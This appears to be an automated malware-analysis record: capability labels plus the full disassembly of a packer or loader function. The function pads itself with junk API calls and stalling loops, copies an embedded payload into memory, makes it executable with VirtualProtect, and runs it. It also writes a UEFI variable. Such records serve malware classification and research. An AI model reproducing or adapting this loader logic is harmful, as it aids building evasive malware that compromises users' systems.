Function at 0x40b030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Set console window title
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push 0xffffffffffffffff
push 0x40b53b
mov eax, dword fs:[0]
push eax
mov eax, 0x105c
call fcn.0040aa90
mov eax, dword [0x4d3030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4d3030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov eax, dword [0x2cb303c]
cmp eax, 0x7c
jne 0x40b0c3
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
lea edx, [esp + 0x70]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x2cb303c]
cmp eax, 0x2d
jne 0x40b0c5
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov eax, dword [0x2cb303c]
jmp 0x40b0c5
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor esi, esi
cmp eax, 0x8cf
jne 0x40b103
push ebx
call edi
push ebx
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x48]
push edx
lea eax, [esp + 0x44]
push eax
push ebx
lea ecx, [esp + 0x884]
push ecx
push ebx
call ebp
mov eax, dword [0x2cb303c]
cmp esi, 0x1c3
jne 0x40b11a
mov eax, dword [0x4d4d84]
add eax, 0xa231
mov dword [0x2cb303c], eax
cmp eax, 0x141
jne 0x40b135
mov dword [0x4d5918], 0xec58acac
mov dword [0x4d591c], 0xffffffff
inc esi
cmp esi, 0xb9fa618
jl 0x40b0d3
xor esi, esi
cmp esi, 0x562d05
jne 0x40b154
mov edx, dword [0x4d3f68]
mov dword [0x2cb316c], edx
cmp eax, 0x3c
jne 0x40b169
push str.wawopu
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov eax, dword [0x2cb303c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b140
cmp eax, 0x110a
jne 0x40b2b5
push ebx
mov dword [0x2cb3030], ebx
mov dword [0x2cb3034], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x870]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.jiyefigocagupobabevihanediyuxagijakuzunekugezaxuxamasivuduguhihirozorojijodunajetehevojuniyesuziricawedafedalogunawibihuzala
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x44]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401190
push ebx
push ebx
call fcn.00401190
push 0x30
push 0x4d1520
push str._s__c
push 0x4d5890
call fcn.0040130e
push 4
call fcn.0040144a
add esp, 0x24
cmp eax, ebx
je 0x40b218
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b21a
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401190
push 0x4d1520
push 0x4d5890
call fcn.0040130e
push ebx
call fcn.004012f7
mov eax, dword [esp + 0x3c]
add esp, 0x14
cmp eax, ebx
je 0x40b297
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40b28e
lea esi, [eax + 0x18]
lea esp, [esp]
cmp dword [esi], 8
jb 0x40b271
mov edx, dword [esi - 0x14]
push edx
call fcn.004013d3
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b260
mov eax, dword [esp + 0x28]
push eax
call fcn.004013d3
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.004013d3
mov eax, dword [0x2cb303c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [0x2cb2e88], eax
cmp dword [0x2cb303c], ebx
jbe 0x40b30a
mov edx, 0x19b0
mov eax, dword [0x2cb316c]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov al, byte [eax + ecx]
mov esi, dword [0x2cb2e88]
mov byte [esi + ecx], al
mov eax, dword [0x2cb303c]
cmp eax, 0x5ab
jne 0x40b305
mov dword [0x2cb2e8c], edx
inc ecx
cmp ecx, eax
jb 0x40b2d1
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.msimg32.dll
call esi
mov edx, dword [0x2cb303c]
mov eax, dword [0x2cb2e88]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2cb303c]
mov ebp, dword [0x2cb2e88]
mov edi, dword [0x4d3f70]
mov ebx, eax
cmp eax, 0x930
jne 0x40b35b
push str.vagipibelo
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2cb303c]
mov dword [0x4d5914], edi
cmp eax, 0x114e
jne 0x40b381
lea ecx, [esp + 0x44]
push ecx
push str.wakotavun
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call esi
mov eax, dword [0x2cb303c]
cmp eax, 0x2f
jne 0x40b39e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov edi, ebx
mov ebx, ebp
call fcn.0040aea0
mov ecx, dword [0x2cb2e88]
xor eax, eax
nop
cmp eax, 0xbd9cb
jne 0x40b3bd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b3b0
mov edi, dword [esp + 0x4c]
mov dword [0x2cb2e88], ecx
xor esi, esi
lea edx, [esp + 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40b3ec
cmp edi, 0xf5bed7
jne 0x40b3f5
inc esi
cmp esi, 0x1ece7a52
jl 0x40b3d1
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov ebp, 0x1e4165
mov ebx, 0x8e46a6f0
jmp 0x40b410
cmp dword [0x2cb303c], 0xcc1
jne 0x40b42c
push 0
push 0
push str.cozoyor
push str.cufifopepivucehogezubogayes_piwuyatibeyitocogazuyav_rasutigaz_hegoteziferewih
call esi
cmp dword [0x2cb303c], 0x7c4
mov dword [0x2cb3038], ebx
jne 0x40b444
push 0
push 0
call edi
sub ebp, 1
jne 0x40b410
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401070
add esp, 0x1068
ret